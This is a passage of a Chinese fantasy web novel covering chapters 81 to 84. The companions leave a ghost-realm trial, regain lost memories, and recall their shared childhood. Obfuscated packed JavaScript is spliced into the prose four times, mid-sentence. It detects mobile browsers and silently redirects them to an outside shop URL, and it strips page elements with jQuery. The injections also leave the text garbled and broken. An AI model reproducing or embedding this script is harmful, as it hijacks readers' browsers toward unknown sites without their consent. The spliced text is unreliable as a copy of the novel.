然而宁磐脸上却毫无荣耀的表情。 “别这么看我,”他别开谢扶光带上几分尊敬的视线,“我能无痛通关,纯粹因为我的身子她没看上。” 崔惊厄接过话头,挑着眉梢继续绘声绘色替他解释:“宁道友金身玉体,不愿辛苦,又颇具反骨,鸣皋指东他往西,让他练刀他去斗鸡,生生活成了仲永再世,潜移默化间就破了鸣皋多年谋算,实是大智若愚。” 正说着,半空又是金光一闪。 第四个同伴通关了厉鬼境。 瞥见金字恭喜的通关者姓名,宁磐整个人应激一跳,伸手就捂住了崔惊厄的嘴。 “你小声点,这事难道光彩么?” 卢笑绒刚出厉鬼幻境,原本就懵的眼神更像蒙了层雾,对眼下处境半点摸不着头脑。 几人迎上前,简要向她阐明当前情况和已有的推断,她抽丝般缓慢回魂,又想了许久,才出言附和了谢扶光有关“不选择堕鬼即可通关”的猜测。 “我也是在做出选择后,没多久就看到了通关提示。”她说,“我当时倒没想太多,只是我的鼻子本能厌恶妖魔界的邪气,不想把自己变得臭臭的,就没答应。” 这倒印证了崔惊厄所说,每人在厉鬼境中经历和选择的不同,果然受到了真实身份影响。 众人浅聊几句,便失了交谈心思。 舒扬舟和黎暨还没出来,也不知道还能不能出来。 他们虽不说,各自心中俱有担忧。 谢扶光自然相信她师兄和黎暨心无邪念,可被逼至那一步,会不会一念之差一时冲动,谁又说得准呢? 有意让他们担心似的,偏这两人出来得尤其晚,时间分秒推移,可空中久久没了动静。 她一心二用,一边替二人揪着心,一边又思索起当如何把记忆找回来。 这样想着想着,偶一转眼,神经蓦地一绷,她感到几分不对劲。 周围太静了。 此“静”倒不是说无风无声,万籁俱寂。 而是一切变化仿佛都陷进循环,跳出了自然范畴,进入到某个既定程式。 轻风扬起一层薄沙,贴地漫开小片尘雾。 两炷香后,依旧是同样一缕风,无别一层沙,相仿一片雾。 太阳强身健体似的,跑过来跑过去,一会儿向东一会儿往西。 多稀奇。 谢扶光正要开口提,金字先她一步闪现。 【恭喜渡业山舒扬舟顺利通关厉鬼境。】 【恭喜逍遥宫黎暨顺利通关厉鬼境。】 最后的通关讯息豆子一样一齐蹦到空中,姗姗来迟的两人最先与彼此打了照面,相对二脸懵。 他们虽同时来迟,却并非商量好的,只是碰巧赶到一处,各有各的耽搁缘由。 舒扬舟不愧是被洪福运脉选中之人,心思光明澄澈远非常人能及,乃典型的正道君子。 相较宁磐好吃懒做没被鸣皋看上,舒扬舟则因浑身正气太盛,甚至压过了颜琅本体的冲天怨念,堕鬼要素之一“一霎怨气冲天”硬是没能达成。 他被锁在万里悲丘的时间最久,此等漫长磋磨最易发酵恶念,他心性却未有多少磨损,甚至发展出向大小怨灵传道的闲暇爱好,想来那道诱人堕鬼的声音也拿他没法子,歇了找上他的心思,他这才得以通关出来。 黎暨则荒诞许多,用他的话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137006|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是:“今日我有幸出来,完全体现了掌握一门技艺的重要性。” 自从轻尘那儿得了符咒遗赠,日常中他便十分注意对道法等研究,那声音找上他时,他正在练习卜卦,刚卜出一个“大凶”。 堕鬼的提议他确实有心动过,可“大凶”二字又委实颇具威慑,于是他灵机一动折了个中,决定翌日再卜一卦。 就这样,一卦复一卦,卦卦何其多,卜到第四百八十三个大凶时,纵使黎暨还寄希望于第四百八十四卦或许会是吉,声音主人却已无耐心等他了。 无论以什么法子通关,总归人已聚齐,也好商量其他事。 谢扶光将适才觉察的异样告知,崔惊厄附言:“的确不太对劲,我记得之前通关轮回境时,随通关恭贺一并出现的,还有秘境即将于一炷香后消散的提示,这一次却只说了通关,只字未提厉鬼境相关。” “轮回境散全因其受执念支撑,厉鬼境则由邪念衍生,若这么轻易就能消散反而有异,”舒扬舟道,“我记得幻境中那声音说,厉鬼境越盛,人界修界则越衰,这东西留着终究是个祸害,我们得想法子除去。” 他说话时,谢扶光已将秘境舆图展开,见图中标注厉鬼境的位置依然红光闪烁。 “难怪四周怪异,我们此刻依然身在厉鬼境中,”她将舆图摊给众人看,“如此也好,可以在内部找找将其毁去的方法。” 几人在其中摸索前行,厉鬼境中的万里悲丘与现实一般,毫无边际,偶有黄沙自然聚拢,像一个个矮小坟包。 此间环境与宜人二字毫不沾边,甚至不如真实的万里悲丘,扑面一股窒息压迫而来。 谢扶光不由想到那句“凡间盛一分,厉鬼损三分”。 螭寐曾不小心露过一句“你们修界的东西,可真怪啊”,当时她对此毫无波澜,如今却生出三分体会。 颜琅若真想作乱,便没必要拦着螭寐杀人,他杀越多的人,自己就会越强,螭寐也不至满腔怨念,两得之举,他何乐不为? 螭寐所言不错,人心幽微,一思一念当真曲折得可以。 厉鬼境中万里悲丘的空间与时间一样,也是一个个循环堆叠,谢扶光瞧准一处造型别致的沙包记在心里,之后在他们兜转的一个时辰中,那沙包足足出现五次。 期间宁磐不信邪,只当是遇见了鬼打墙,让其余人在最新出现的那沙包处守着,自己跑去看上一个还在不在,一来一回耗去两炷香,他气喘吁吁回来,称上个沙包旁没有几人身影,看来此方天地果然由若干一模一样的小空间拼凑而成。 再走下去也毫无益处,谢扶光索性采用最原始的破局方式,反手祭出她的大刀。 澎湃灵力灌注乐命刀柄,刀尖以十成劲力□□入脚下黄沙,脚下一阵喜人的摇晃,不难猜测此方黄沙亦是薄薄一层,并无真实沙地之厚重。 宁磐提前伸出两手,分别护住自己和卢笑绒的头,生怕等会儿掉入什么空间摔烂了他们俩漂亮的脑袋。 孰料黄沙薄层被利刃破开后,底下依然是同样一片沙地。 厉鬼境中的万里悲丘就像人界市集上舶来的套娃,一个套着一个,每个都一模一样,无穷无尽,令人寻不到头绪。 82.少年聚 “这么玩,不合规矩吧?”崔惊厄环顾四周,满满当当都是快把他看吐了的沙子,他面朝先前浮现金字的虚空问,“飞来石呢?不给个说法么?” 按道理,他们通关后,是应当很快被传出秘境的,当前情况的确是例外。 崔惊厄倒不是多急于出去,不过雁过拔毛借题发挥而已,靠他们自己明显探不出更多线索,只好想法子套点消息出来。 随他话音落下,飞来石磨磨蹭蹭,不知自何处飘荡过来,石身亮起一道绮丽薄光,一串金字紧跟着浮现。 【厉鬼境在一千零一秘境中最为特殊,传出弟子非我权限,需得厉鬼同意才行。】 见它好言好语解释,态度不错,崔惊厄正要拉下脸,演一出愤怒的戏欺负老实石,身旁谢扶光先上前一步,略去飙戏步骤,开门见山:“天道呢?我想见祂。” 她这一句不无试探成分。 万里悲丘试炼场最初如何成形,这点众说纷纭,谢扶光唯一清楚的是它虽为修界弟子试炼所用,却并非是修界建成,它带着亘古的神秘,仿佛从来就在那里。 但谢扶光还是从细枝末节处窥见了些端倪。 譬如,当初轻尘和朱颜故锁魂魄入轮回境,便是与天道做了交易; 再譬如,自己那活在传说里的前世,便是在闯遍万里悲丘一千零一秘境后,得以与天道一见。 如此看来,天道与此地渊源颇深,或许便是其背后真正的主人。 谢扶光算天道的半个老熟人,应是没什么可瞒,飞来石直接将与天道的关系默认下来,金字闪烁。 【天道说祂知道你们想要什么,你们能闯到这一步,实属不易,祂可以把前缘还给你们。】 【此外,祂还有一句提醒:凡事不可为表象所惑,还需找出真正症结。】 天道说话惯爱打机锋,卢笑绒听得双眼懵懂,宁磐和黎暨更是彼此交换愚蠢眼神,就差将不明所以大写加粗在脸上。 谢扶光倒有一些猜测。 “祂老人家既要提示,不如说更明白些,引诱颜琅堕鬼的声音是何方神圣?”她纤长眼睫轻抬,显露一段锐利眸光,“他们二虎相争,却要倚仗我们血躯博弈,连点多的讯息都舍不得透露,不合适吧?” 飞来石这回沉默良久,期间石身环绕的薄光一直在流转,似在和谁沟通。 又过了一会儿,谢扶光脑海里那遥远而悲悯的女声代替金字传来。 “非我与祂两虎相斗,以苍生为棋子,只是大厦将倾,我亦有我之力不能及,不便越俎代庖,最多从中引导。此局勘破在心,其间诱惑丛生,还望尔等心志坚毅之人力挽狂澜,撑一方净土。” “尔等前尘我已悉数交还,去记忆里看看吧。” 谢扶光还待再问什么,却遭一阵突袭而来的头痛封住了口。 锐痛如刀尖剜肉,剔除她脑海中每一段模糊旧忆,一条陌生又熟悉的崭新记忆长河取而代之倾灌其中,带来如坠深海的晕眩。 新修历一六四七年,盛夏,渡业山大小姐出世,一头撞入这荣光加身也起伏跌宕的一生。 同年,“谢白扇”领好友崔成阳五岁遗孤入山门,收为关门弟子,那遗孤便是崔惊厄。 时人皆怜崔惊厄年少失怙失恃,也赞“谢白扇”顾念旧情,抚养挚友遗孤,然事实远非如此。 苦难最是磨人心性,崔惊厄幼年早熟,他此番其实是带着目的前来。 他偷听到谢白扇正是崔成阳生前所见的最后一人。 父亲乃当世最强剑修,放眼世间少有敌手,且正值壮年,身体康健,并无酗酒之类影响神志的不良嗜好,却一朝横尸荒野。 纵然此事被推给了妖魔界,魔尊螭寐也未出面否认,他一颗疑心仍难打消。 事实上,崔成阳与谢白扇的最后一次会面确有蹊跷,但也不似他料想的那般。 因那场会面,死的是谢白扇,而崔成阳却是更早就死了。 适逢千秋雪怨灵作祟,刚升任仙盟盟主的谢白扇责无旁贷前去镇压,已占了崔成阳壳子的颜琅觊觎盟主尊位已久,寄音给好友提出助他一臂之力。 谢白扇对崔成阳自不设防,他得手很轻易,唯一遗憾的是谢白扇魂魄不听话地跳进了千秋雪里,好在他没将灵力注入仙盟命石,便是魂魄被怨灵噬尽也不会搅他的局。 有了新的躯壳,从前崔成阳那只自然就不要了,总归其发妻当年难产而死,他在这偌大天地间仅余一无知幼子,颜琅不喜欢做损人不利己的赶尽杀绝之事,索性将人带回渡业山。 崔惊厄资质颇佳,或许待这具身体老后,还能成为他下一个躯壳,在他的操控下永垂不朽。 就这样,崔惊厄在渡业山安下身,时时警惕,处处留心,这大概便是他那远胜常人的敏感由来。 他从第一眼就不喜欢谢扶光。 一方面,她是他的疑似仇人之女;另一方面,他忍辱负重寄人篱下,对这种载誉而生的千金大小姐有种卑劣的敌意。 然而过了不到一年,她母亲便失踪了,彼时这大小姐还不记事,恐怕与他一样,关于母亲的记忆一辈子都是空白一片。 思及此,崔惊厄对她又有点同病相怜的惺惺相惜。 谢扶光从小就很安静,话少,也不爱哭,只是脾气不好,眉头总习惯蹙着,但好歹不吵不烦,崔惊厄对她的不喜便散去几分。 可惜大小姐乖巧的孩提时代持续太短。 她三岁开始耍刀,五岁已能自如施展基础刀式,彼时崔惊厄在剑宗已是同辈弟子中佼佼者,众人皆赞其不堕先父遗风。 谢扶光自幼好斗,闻得此事,开始了缠着他比试的漫长生涯,非得将她的刀和他的剑争个高下。 五年来,“谢白扇”这个世叔带给崔惊厄的感觉始终怪异,具体异在何处他又说不清,本就烦躁,身后又添了个整天对他喊打喊杀的麻烦跟屁虫,崔惊厄对她的厌恶在短暂回落后,再创新高。 但他自幼情商就高,也会哄人,心里越厌恶谁,面上反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150888|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而越和气,甚至发扬大哥哥风范,陪她玩了几回被她追着揍的花式认输游戏。 然而被哄的人半点不配合,每每“打赢”他后,脸色反而更差。 两人间如此往来没持续多久,转折在崔成阳的忌日。 崔惊厄平日和善太过,透支了好脾气,对父亲的思念与对自己无能的怨怒比着赛在这一天发酵,偏谢扶光雷打不动凑上来讨打,他便没收着手。 谢扶光求仁得仁被揍得连滚带爬,左臂还让剑风擦出一道不浅的血口,看着她狼狈形容,崔惊厄后知后觉有点后悔:一方面谢扶光年岁还太小,个头不到他的腰,身高和岁数的差距带给他欺负小孩的羞耻感;另一方面也是怕她向谢白扇告状,败露自己多年忍辱负重的伪装。 两人一高一低对面而立,崔惊厄脑子转得飞快,思索该以怎样的神色将这场情绪的失控圆过去,谢扶光则气息微促,喘息中带着几丝疼痛的隐忍。 左臂的血还在流,但她没有哭,面上甚至不带痛色。 “崔惊厄,你高兴么?”面前的小姑娘冷恹恹问道。 “什么?” 他高兴个头? 亏她有脸问! “我师兄说,不高兴的时候,痛快打一场架就能高兴起来。”谢扶光神色认真,她从小就不是会开玩笑的人,“刚刚这一场,我很痛快,你痛快么?” 痛快,其实是有一些的。 与她来之前他独自缩在寝居相比,心上潮湿仿佛随着这场架晾干了些。 但他从来是个多思之人,凡事走一步,能想出百步后果,短暂松快过筋骨后,很快就开始为后续收场而忧心忡忡。 他一时不知如何回答,脑子还没转出个结果,五官已遵循一贯的社交程式,颇为愉快地笑了出来:“当然,同门切磋,再痛快不过。” 谢扶光没有探究他此话真假的意识,他既说痛快,她便这么信。 “那好,”她也愉悦地颔首,一贯冷冽的唇角竟勾起一个浅浅的笑,“那请你以后每一次都像今天这样与我切磋,不要轻视我,我还会再来的。” 谢扶光没有多余的话,表达完想说的,转头就迈着短腿走了,因受了些伤,步伐轻微踉跄。 望着她背影,崔惊厄头一回认真审视这个大小姐,似乎并没有千娇万宠被惯坏的样子,比绝大多数习武之人还能吃苦,年纪虽小功夫倒意外不错,自己在她这个岁数,还真未必打得过。 然而隔天,他刚扭转一些的偏见又往回倒退几年。 没等到谢扶光来找他切磋,他的小院先迎来一位不速之客。 舒扬舟提着七星绝命剑,先礼后兵地敲了三下门,待他开门后直接把剑横在了他脖子。 “你欺负我师妹,我要与你决斗。” 时年十一的舒扬舟领先同辈人三年,提前跨出乖宝宝行列,进入猫憎狗嫌鸡摇头的中二之年,绣口一吐,就让崔惊厄无了个大语。 他边无语边阴暗地想:谢扶光她果然是个告状精! 83.青梅竹马 谢扶光才不是告状精! 她自诩成熟不亚于大人,便是碍着身份,也不会做出此等跌份之事。 纯粹是舒扬舟像个老妈子一样,整天操心太多,昨日听说师妹回去时带伤,经过一番“缜密”推理锁定凶手为崔惊厄,这才找上来的。 舒扬舟是谢白扇还活着时,从襁褓之年养起的孤儿,与他本就感情深厚。 颜琅接手谢白扇身体后,又将鸣皋给他用过的手段如法炮制在舒扬舟魂魄。 唯一不同的是,受个人品味影响,他没给舒扬舟用情丝那恶心人的玩意儿,只在忠诚上做了提升。 因此舒扬舟对和师父有关的一切都甚是关心,谢扶光也跟着沾了爱屋及乌的光,多年颇得照拂。 刚开始崔惊厄还尝试解释,两人昨日只是切磋,所谓“欺负”完全毁谤!但见舒扬舟显然听不进去,只好如他所愿与他打了一场。 舒扬舟与他同为剑修,年龄又相仿,这场架两人谁都没收着手,打得酣畅淋漓,打到最后竟打出了英雄惜英雄的情谊。 当然,情谊是舒扬舟单方面的,崔惊厄才不与谢白扇的无知拥趸为伍。 “难怪师妹喜欢找你打架,和你交手确实痛快。”舒扬舟大字仰躺在院中空地,后脑枕着右侧小臂满足喟叹。 崔惊厄:…… 至此,在渡业山,他又多了一个需要躲着的人。 其后数月,崔惊厄打游击似的,远远见着这对师兄妹就躲,躲不过就硬着头皮打一场,长此以往,谢扶光于刀道大有进益,不过六岁稚童,竟足以单挑同宗一串师兄师姐。 舒扬舟多年剑道功底在身,没她那么大的进步空间,又不知上辈子遭了何孽,天生一副倒霉命,做起事来总落入事倍功半的窠臼,但幸而他心胸宽广,见师妹进步也跟着高兴。 崔惊厄自己则在躲他们师兄妹的过程中,狠狠锻炼了眼力和敏捷。 论迹不论心的话,怎么不算皆大欢喜呢? 三人的刀剑虽已打出不菲情谊,他们真正交好却等到了次年仲夏,契机起源于天涯何处那场连烧三天三夜的大火,大火带来了卢笑绒。 真实记忆里,卢笑绒非灵鹤谷弟子,叶放自也不是她的师兄。 她本是孤女,在叶放叛出师门后,被他捡到天涯何处,算他一半妹妹一半徒弟。 师门灭门,卢笑绒再无处去,适逢崔惊厄刚从霁宁渊收完小美人回程,继叶放捡她入天涯何处后,崔惊厄又将她领回了渡业山。 得知她是天涯何处的弟子,本不喜插手微末小事的“谢白扇”一反常态,扯起大仁大义的大旗。 他声称:修界各宗当同气连枝,天涯何处大火之时,未能救叶放于危难,已是憾事。对他流落在外的弟子,还望大家摒弃从前恩怨,予他们一地容身。他愿以身作则,收下卢笑绒入渡业山。 群呼高义。 崔惊厄眼睁睁看卢笑绒被“谢白扇”带走,他亲手捡来的人,他却没本事、也没理由护住。 好在卢笑绒性子软,从长相看呆钝非常,很是不谙世事,也没什么出众本事。 “谢白扇”把人放在眼皮底下紧盯了一阵子,见她确实不知叶放惹上的那些是非,本人又是个随手就能捏死的蚂蚱,不足为虑,便放过她不再忌惮。 但因叶放名声不好,众弟子对天涯何处中人态度始终有些暧昧,卢笑绒的日子其实也不算好过。 何谓“欺负”呢? 殴打、谩骂、抡拳头扯头花是,孤立排挤、别有深意的眼神、明嘲暗讽的挤兑亦是。 前者莽撞,方式却也淳朴;后者便是渡业山这群养尊处优“上等人”的拿手好戏了。 对付这种“犹抱琵琶半遮面”的卑劣,并不适用仁义礼智信的慷慨高歌,心思弯曲者当以直克之。 譬如,卢笑绒超绝的钝感力相当适配她多舛的命途,无视身边暗流涌动,每天有的吃喝就已然满足。 又或者,谢扶光替她看不过眼,火气上来,提刀明火执仗一通暴揍,生生揍好了“上等人们”眼神抽搐说话阴阳的沉疴痼疾,扁鹊活过来都得赞一句妙手回春。 卢笑绒虽不拿受的欺负当回事,却不傻,也很知好歹。 在她眼里:带她回来的崔师兄,好人;罩着她的英雄大小姐,大好人;待大小姐很好的舒师兄,也算好人。 唯一不好的是,几个好人之间关系似乎有些微妙。 于是她当仁不让,担起了改变这点的重任。 都说烈女怕缠郎,在卢笑绒笑脸迎人两头蛮缠的不懈努力下,崔惊厄与谢、舒师兄妹两队人马总算集结,与卢笑绒一起,攒成了一个虽不稳固但对称和谐的四人组。 崔惊厄人虽被钉在友谊方阵一角,心仍倔强地不肯与他们为伍,他自诩功利的脑仁一转,决定利用这一资源,探听更多有关谢白扇的事。 没想到这一打听,心里反倒五味杂陈起来。 他今日方知,谢扶光这个大小姐日子其实不太好过,甚至还不如他。 “谢白扇”对她要求达到了变态高度,与其说是养女儿,更像在拿她当艺术品雕琢,每一处细节都需得长成他希望的模样,难怪谢扶光看起来总是不太高兴。 他为自己曾偷偷骂过她晚娘脸而羞愧。 接下来的日子里,崔惊厄化羞愧为友善,有事没事就爱逗逗她,致力于给她身上添点人味,几年过去,自己竟也开朗不少。 谢扶光十四岁那年,发生了件小事。 事情虽小,却极为罕见。 崔惊厄下山回来,给她送山楂糕时她不在房中,找了一圈才在山后竹林寻见人。 五岁被打得满身血都面无表情的大小姐这会儿眼圈竟是红的。 谢扶光蹲在一棵竹子旁,乐命躺在她身前地上,她身子缩成很小一团,瓷白脸上间或滑下一颗小珍珠。 崔惊厄也以同样姿势蹲到她旁边,问她哭什么,她抹一把脸,转头就不承认哭过。 他便不再问,就这么跟她一起默默蹲着。 良久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162360|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听见她说:“乐命被父亲杀了。” “什么?”崔惊厄看向好端端躺在地上的无辜宝刀。 谢扶光又吸着鼻子说了几句,他才明白过来:原是乐命这两天生出了一点灵智,但“谢白扇”以怕她练武分心为由,将刀灵萌芽扼杀在了摇篮里。 在她看不见的高度,崔惊厄没忍住翻了个很不雅观的白眼。 他对她这个爹早看不惯了! 其实这么多年,崔惊厄并没发现“谢白扇”与崔成阳的死存在什么关联,在心里已抹了这桩案子。 但不妨碍“谢白扇”此人还是令他很讨厌。 相处日久,他越来越发现谢扶光其实是个相当容易满足的人,一件很小的快乐就能让她开心许久,偏在“谢白扇”那儿被养成块凶巴巴的木头。 此外,谢扶光是知恩图报的性子,随年岁增大,也逐渐明白崔惊厄不定时的嘴欠并不是真的喜欢挨揍,而是有意逗着她玩闹。有几次发现崔惊厄不开心,她便凑过去给他讲笑话。 可她嘴里那些“黑笑话”,崔惊厄委实不敢恭维,听完非但不想笑,还觉后背凉飕飕的,不是小鲤鱼越过龙门后被炖,就是蚯蚓为玩蹴鞠把自己解体成渣…… 一问才知,这些荼毒孩童的黑笑话都是“谢白扇”讲给她的。 这次更过分,不仅在笑话里伤害小动物,还干脆把她刀灵杀了。 “大小姐……” 崔惊厄斟酌着开口,起了个头却发现不知该如何继续。 有关“谢白扇”,他说不出好话,而无论说什么坏话,是铺陈渲染,还是点到即止,都难逃背后嚼舌、挑拨离间之嫌。 “你嘴怎么也出毛病了?”谢扶光直性子,在她看来,有话不直说,吞吞吐吐便是患了嘴症。 与其推敲再三,倒不如做个哑巴,反而省事。 “没,”崔惊厄展眉一笑,迅速找补,“我刚从山下回来,吃了点零嘴,酸着了。” “哦。”谢扶光不是嘴馋的人,对此也没问。 崔惊厄顺势把掂了一路的山楂糕拿给她:“尝尝。” 那玩意儿生就一副血色,让她想到乐命那未生先夭的可怜刀灵,谢扶光不想吃。 “多少吃点,听说你从中午就没吃东西了。”多年下来,崔惊厄已深谙哄她之道,温温柔柔几句,总能捏着她的七寸说,“你吃饱了,咱们才好一起研究怎么把乐命的刀灵养回来。” 谢扶光一听,果然来了精神:“小玉还能回来?” 她一直期盼着乐命的刀灵,甚至早早给它起好了名。 “听说有这样的先例,”崔惊厄硬着头皮胡诌,“大小姐给我个面子,吃点我带的东西,任这法子藏得再深,我都替你寻来。” 谢扶光总算舍得露给他一个笑,仓鼠一样把那山楂糕啃着吃了,边吃还说:“我就没被酸着,能正常说话。” 这晚回去,崔惊厄就开始了泡藏书阁的日子。 没办法,随口装出的逼,总得用玩命的努力来还。 84.乌龙吻 总算从浩瀚书海中拾得重养刀灵之法的那天,崔惊厄也实现了华丽蜕变,成为了后来谢扶光所见的渊博万事通。 这时距离竹林中分享山楂糕的黄昏已有三年。 三年时间,足够当年稚童们长成半大的少年少女,崔惊厄和舒扬舟则更大些,年逾弱冠。 凉夏转秋,绿叶渐黄,剑宗一些风流弟子除去斗鸡听曲儿,又添了个逛花楼的“风雅”嗜好。 有弟子数次三番邀崔惊厄同往,还称以他这副皮相,山下花楼随便进一家,无论到哪儿都得被姑娘们哄抢。 崔惊厄借事回绝:“我就不去了,跟舒师兄约好了练剑。” 那人奸笑着拿肩膀撞他:“练手中剑哪有练下面那把舒爽?” 崔惊厄听出是荤话,半笑半侃:“难怪这些年不见你剑术见长,原是练偏了地方。” 那人非但不以为耻,还指着簌簌黄叶笑道:“树叶大了都知道整点带颜色的,何况咱们?” “别以为我不知道你心思,”他越说越起劲,一副把他看透的模样,“外头三千弱水瞧不上眼,不就因为惦记着盟主膝下那一瓢?要我说,渡业山的赘婿没那么容易当,那大小姐看着就不像个会动情的,劝你还是趁早死了这心,大好年华及时快活。” 那人说完,哈哈笑着扬长而去。 留崔惊厄静立原地,良久怔忡。 那人不知是胡说八道刚巧碰对了,还是真看出点什么。 物换星移几度秋,多年下来朝夕相对,他确是对谢扶光生出了些别样心思,朋友做着都不如从前坦荡。 自己的逾越之意固然令他苦恼,而谢扶光的铁石之心则更令他惆怅。 从前他只当自己演技卓绝,将心如止水演绎得炉火纯青,孰料今日竟被人当面点出。他不得不回忆起与她昔日种种,认真思索是否在某一瞬间泄露了心意。 却是越想越惴惴难安,心有所慕者就像个破烂口袋,浑身窟窿,稍不留神就要从不知哪处泄点要命的情意出来。 “崔惊厄!”正自心有戚戚,身后传来声音唤他,熟悉音色生生惊了他一个激灵。 崔惊厄回头看向来人,一时疑心自己多了什么言灵天赋。 十七岁的谢扶光经过三年抽条,倩影已然纤瘦修长,自远向近朝他跑来。 “大事不好了!”她开口就是一句。 “怎么?”闻言,崔惊厄敛去那点问心有愧的别扭,心思专注在她话上。 “药王金殿要来跟咱们抢人,这会儿人就在山门外呢,”谢扶光说着,就去拽他的手,“快跟我走,咱们刀剑配合,一定不能让笑笑被抢走!” 崔惊厄手不动声色一偏,避开骨肉,只留了截衣袖给她牵。 一路上他被她拽着跑得飞快,却未见气喘,还有闲情猜道:“来的可是宁小少爷?” “我管他姓宁还是安?”谢扶光印象里显然没这号人,“都追到家门口来掳人了,姓什么都得给他点颜色瞧瞧!” “你不记得宁磐了?”崔惊厄提醒,“就是三月前因拐了卢师妹去听戏被你揍了一顿那个。” “他啊,”谢扶光想起人是谁,换上副“我早就知道”的神色,“当时我就说他没安好心,笑笑偏还为他挨揍的事哭了一场。” 说到这儿,她有点丧气地停下步子,神色不太愉快:“真不知道有什么好哭的,她就是爱心软!罢了,那咱们今日就不揍那姓宁的了,省了她再哭,瞧着头疼。” 说着,她松开手,崔惊厄那小截衣袖从她指缝垂落,被风拂起留恋的一角。 “大小姐,”心思一动,他试探问她,“你有没有问过卢师妹,她对宁小少爷是怎么想的?” 卢笑绒是一年前下山时沾上的宁磐,依谢扶光看来,那人就像块狗皮膏药,味儿冲,粘性又大,甩都甩不掉。 “笑笑说我想什么她就想什么,她应当也挺厌恶那姓宁的吧。”谢扶光越说声音越低,说到最后竟是自己也不敢确定了。 “是么?”崔惊厄指尖捏着那截衣袖把玩,看起来不太认同,“你可没为宁小少爷哭过,她怎么就哭了呢?” 说起这事儿,谢扶光就有些烦躁,在她看来,就像从小玩到大的密友与她生了异心,正在渐行渐远。 “不知道,回去我问问她。”她闷闷道。 药王金殿行事素好排面,其中以小少爷宁磐浮夸尤甚,邀请人约个会竟烘托出抢人的排场,这下整个渡业山都知道卢笑绒与他关系匪浅了。 翌日黄昏,谢扶光又来剑宗找了崔惊厄一趟,她不藏事,心思都大写在脸上,崔惊厄一见便知与卢笑绒的交谈大概颠覆了她先前认知。 “你敢相信么?”谢扶光瞪圆了眼睛煞有介事,“笑笑还真喜欢他!” 昨夜卢笑绒刚约会回来,谢扶光就逮着人紧急审了一通。 问她喜不喜欢宁磐,卢笑绒抿唇弯眼,就这么挤着眼睛笑了出来。 谢扶光相当熟悉这笑,这些年来,每回干完坏事被她发现时,卢笑绒都是这么笑的。 这一霎,谢扶光的恨铁不成钢直冲巅峰,素来表情不太发达的脸都因扭曲而添上几分鲜活。 “大小姐,我感觉他挺可爱的。”卢笑绒依然那么笑着说。 “可爱?”谢扶光怀着如遭雷劈的心情,原话复述给崔惊厄,生怕他躲过这一遭雷劫,“她居然说那只粘金毛的孔雀可爱!她是被下了降头么?” 然而崔惊厄神色沉静,像一早就料到一般。 “你早看出来了?”她忿忿问。 崔惊厄耸一耸肩,倒没骗她:“很明显的。” 见她神色茫然,他循循善诱:“你没发现,卢师妹每回看见宁小少爷,都尤为开心么?” 谢扶光沉默好一会儿,崔惊厄当她陷进了回忆,没出声搅扰,他才练过剑,这会儿口干难当,趁着空当灌了两口水喝。 哪知谢扶光的思绪不知何故偏移到一个清奇角度,骤然开口补上了适才没能劈中他的雷劫。 “我见你时也很开心,所以我也喜欢你么?” 她闪烁着漂亮的眼睛,一脸真诚发问。 崔惊厄喉间那口水登时跟她的脑回路一样进错了地方,捂着胸口咳了个天昏地暗。 谢扶光轻抚他后脊给他顺气,皮肉相隔一层轻薄衣裳相贴,烙铁一样的存在感。 崔惊厄看似咳得专注,内心实则做着艰难的道德抉择。 若因势利导,则不够君子;而实话实说,又失了点智慧。 该怎么答她这一问,是个要慎重的问题。 然而不待他慎重出个结果,大小姐漂亮的小嘴就又开了口:“我见师兄时也很开心,所以我也喜欢师兄么?” 崔惊厄:…… 这场黄昏闲聊并没能为谢扶光排忧解惑,她深觉崔惊厄有不懂装懂之嫌,刚开始还能勉强扯几句高深莫测的,没多久就眼神躲闪语焉不详起来。 果然还是靠不住! 于是她转而向“真懂”的卢笑绒发出同样疑问。 卢笑绒果然靠谱得多,她认真地将喜欢做出分类,耐心解释给谢扶光听。 “你刚刚说的,对崔师兄和舒师兄的喜欢,可以给很多很多人。”卢笑绒拿自己举例,“但我对宁磐的那种喜欢,就只会给他一个人。” 卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173858|133453||http|test|mini|href|location''.split(''|''),0,{})); () { 